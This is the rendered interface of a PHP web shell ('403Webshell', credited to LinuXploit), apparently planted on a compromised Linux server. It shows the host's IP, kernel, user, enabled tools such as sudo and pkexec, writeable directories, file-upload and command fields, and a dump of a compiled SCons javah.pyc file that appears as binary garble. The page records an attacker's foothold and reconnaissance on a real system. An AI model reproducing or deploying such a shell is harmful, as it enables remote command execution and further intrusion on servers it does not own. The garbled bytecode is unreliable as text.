403Webshell
Server IP : 216.92.14.13  /  Your IP : 216.73.216.171
Web Server : Apache
System : Linux vps4089.pairvps.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64
User : rmlac2fmr ( 1040637)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/scons/SCons/Tool/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/scons/SCons/Tool/javah.pyc
�
�b3Qc@s�dZdZddlZddlZddlZddlZddlZddl	Zd�Z
d�Zd�Zd�Z
d�ZdS(	s�SCons.Tool.javah

Tool-specific initialization for javah.

There normally shouldn't be any need to import this module directly.
It will usually be imported through the generic SCons.Tool.Tool()
selection method.

s9src/engine/SCons/Tool/javah.py  2013/03/03 09:48:35 garyoi����Nc
Cs�|jdd�}|jd�}|s|y|d}Wntk
rNd}q|Xy|jj}Wq|tk
rxd}q|Xn|j|�j�}t|�dkr�d	}nt|�t	j
}g}x�|D]�}y|jj}	Wn�tk
rvt|�}	|r-|	t|� |kr-|	t|�}	n|r^|	t|�|kr^|	t|� }	nt
jjj|	�}	nX|j�}|	|j_|j|�q�W|dj�}t|jd�s�||j_n|djt
jjjkr�|}
n�t|dt
jjj�s9t
jjj|d_|dj�ng}
xZ|D]R}|jjjdd�d}|dj|�}|d|j_|
j|�qFW|
|fS(
sjCreate and return lists of Java stub header files that will
    be created from a set of class files.
    tJAVACLASSSUFFIXs.classtJAVACLASSDIRit.t
java_classdirt_s.hN(tgett
IndexErrort
attributesRtAttributeErrortDirtrdirtstrtNonetostseptjava_classnametlentSConstTooltjavact	classnametrfiletappendthasattrt	__class__tNodetFStFilet
isinstancet_morphtreplacetjava_lookupdir(
ttargettsourcetenvtclass_suffixtclassdirtstc_tslisttsrcRttlisttfnamett((s"/usr/lib/scons/SCons/Tool/javah.pytemit_java_headers,sX



	

	
cCsly|d}Wn tttfk
r0|}nXydt|jj�SWntk
rgdt|�SXdS(Nis-d s-o (RRt	TypeErrorRRR(R R!R"t
for_signatureR+((s"/usr/lib/scons/SCons/Tool/javah.pytJavaHOutFlagGeneratorfs

cCs@d}d|kr8|dr8tjj||d�}nd|S(Ns"${SOURCE.attributes.java_classdir}t
JAVACLASSPATHs
-classpath %s(RtUtilt
AppendPath(R"R R!R.tpath((s"/usr/lib/scons/SCons/Tool/javah.pytgetJavaHClassPathpscCsgtjj|�}t|_t|d<d|d<tjjd�|d<t|d<d|d<d	|d
<dS(sDAdd Builders and construction variables for javah to an Environment.t
_JAVAHOUTFLAGtjavahtJAVAHtt
JAVAHFLAGSt_JAVAHCLASSPATHsW$JAVAH $JAVAHFLAGS $_JAVAHOUTFLAG $_JAVAHCLASSPATH ${SOURCES.attributes.java_classname}tJAVAHCOMs.classRN(	RRtCreateJavaHBuilderR,temitterR/R1tCLVarR4(R"t
java_javah((s"/usr/lib/scons/SCons/Tool/javah.pytgeneratevs	



cCs
|jd�S(NR6(tDetect(R"((s"/usr/lib/scons/SCons/Tool/javah.pytexists�s(t__doc__t__revision__tos.pathR
tSCons.ActionRt
SCons.Buildert
SCons.Node.FStSCons.Tool.javact
SCons.UtilR,R/R4R@RB(((s"/usr/lib/scons/SCons/Tool/javah.pyt<module>	s	:	
		

Youez - 2016 - github.com/yon3zu
LinuXploit